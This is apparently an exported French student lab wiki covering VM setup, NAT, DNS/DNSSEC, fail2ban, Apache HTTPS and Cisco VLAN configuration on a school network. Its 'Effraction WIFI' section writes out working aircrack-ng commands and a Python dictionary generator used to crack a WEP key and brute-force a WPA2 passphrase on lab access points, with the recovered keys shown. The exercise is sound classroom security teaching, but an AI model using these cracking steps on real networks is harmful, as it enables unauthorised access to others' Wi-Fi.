Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12190</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12190"/>
		<updated>2026-02-10T16:11:08Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
